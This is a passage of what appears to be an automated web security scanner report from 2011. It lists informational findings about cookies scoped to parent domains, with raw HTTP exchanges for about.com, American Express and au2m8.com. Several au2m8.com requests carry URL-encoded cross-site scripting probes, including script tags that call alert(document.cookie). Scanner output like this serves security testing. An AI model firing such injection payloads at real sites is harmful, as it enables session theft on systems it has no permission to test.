Set-Cookie: BLLY=35Q54e83kMijy_nk89V0lFAxrY6VDtbVadHWdB3h9L8A2uRr36LQVVw; expires=Sun, 06-Mar-2011 13:32:26 GMT; path=/; domain=.blackberry.com
P3P: CP="NON DSP ADM DEV PSD OUR IND STP PHY PRE NAV UNI"

.PNG
.
...IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<....IDATx..T;N.@....c..v.\ ).P$h..E"5.*...[p...).t.(...~..c$$..........q4...eym.9.?.k.....i.^?....x<..!c.........`..pxRU..).......
...[SNIP]...

14.138. http://vegetarian.about.com/od/soupsstewsandchili/r/hotandsour.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vegetarian.about.com
Path:	/od/soupsstewsandchili/r/hotandsour.htm

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TMog=B25Lon3f20kA050C; domain=.about.com; path=/; expires=Sun, 13-May-12 20:59:30 GMT
Mint=B25Lon3f20kA050C; domain=.about.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /od/soupsstewsandchili/r/hotandsour.htm HTTP/1.1
Host: vegetarian.about.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.139. http://www.active-srv02.de/werbemittel/WebObjects/werbemittel.woa/wa/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.active-srv02.de
Path:	/werbemittel/WebObjects/werbemittel.woa/wa/ads

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

apv_1=6f09cd3d-7986-4113-9124-912c77e974a9|za|tsID=za1049301; version="1"; expires=Thu, 07-Apr-2011 17:05:24 GMT; path=/; domain=.active-srv02.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /werbemittel/WebObjects/werbemittel.woa/wa/ads?apid=6f09cd3d-7986-4113-9124-912c77e974a9&zanpid=11259592C1875273789S14786739T1469378460983287808&zanpartner=1049301 HTTP/1.1
Host: www.active-srv02.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU5MkMxODc1MjczNzg5UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.6.32
Date: Sun, 06 Feb 2011 17:05:24 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
location: http://dslshop.vodafone.de/eshop/pv/97444194?tsID=za1049301
set-cookie: apv_1=6f09cd3d-7986-4113-9124-912c77e974a9|za|tsID=za1049301; version="1"; expires=Thu, 07-Apr-2011 17:05:24 GMT; path=/; domain=.active-srv02.de
x-webobjects-loadaverage: 0
x-webobjects-servlet: YES
Content-Length: 0
P3P: CP="NOI DSP COR CUR OUR STP NAV STA"

14.140. https://www.americanexpress.com/airlines-credit-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/airlines-credit-card/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296942781910061; path=/; expires=Tue, 09-Feb-16 21:53:01 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /airlines-credit-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.141. https://www.americanexpress.com/credit-card-rewards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/credit-card-rewards/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296942782675560; path=/; expires=Tue, 09-Feb-16 21:53:02 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /credit-card-rewards/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.142. https://www.americanexpress.com/gift/giftcardslanding.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gift/giftcardslanding.shtml

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296942777855214; path=/; expires=Tue, 09-Feb-16 21:52:57 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gift/giftcardslanding.shtml HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.143. https://www.americanexpress.com/gold-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gold-card/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296942789184350; path=/; expires=Tue, 09-Feb-16 21:53:09 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gold-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.144. https://www.americanexpress.com/no-annual-fee-credit-cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/no-annual-fee-credit-cards/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296942786051814; path=/; expires=Tue, 09-Feb-16 21:53:06 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.145. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297013914=1297010314; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:38:34 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:38:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:38:34 GMT
Last-Modified: Sun, 06 Feb 2011 16:38:34 GMT
Set-Cookie: bpl1297013914=1297010314; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:38:34 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11438

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:38:34 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.146. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012652=1297009052; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:32 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:17:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:17:32 GMT
Last-Modified: Sun, 06 Feb 2011 16:17:32 GMT
Set-Cookie: bpl1297012652=1297009052; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:32 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11395

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:17:32 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.147. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012383=1297008783; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:13:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:13:03 GMT
Last-Modified: Sun, 06 Feb 2011 16:13:03 GMT
Set-Cookie: bpl1297012383=1297008783; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:03 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11263

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:13:03 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.148. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012486=1297008886; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:14:46 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/212119091279653321133331.htm?vs=1&r=www.kledy.eu%2F&s=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&t=429425
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:14:46 GMT
Last-Modified: Sun, 06 Feb 2011 16:14:46 GMT
Set-Cookie: bpl1297012486=1297008886; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:14:46 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11366

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:14:46 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.149. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012399=1297008799; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:19 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:13:19 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:13:19 GMT
Last-Modified: Sun, 06 Feb 2011 16:13:19 GMT
Set-Cookie: bpl1297012399=1297008799; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:19 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11278

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:13:19 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.150. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018473=1297014873; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:54:33 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; bpl1297016122=1297012522; bpl1297016139=1297012539; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:54:33 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:54:33 GMT
Last-Modified: Sun, 06 Feb 2011 17:54:33 GMT
Set-Cookie: bpl1297018473=1297014873; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:54:33 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11523

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:54:33 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.151. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297013525=1297009925; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:32:05 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

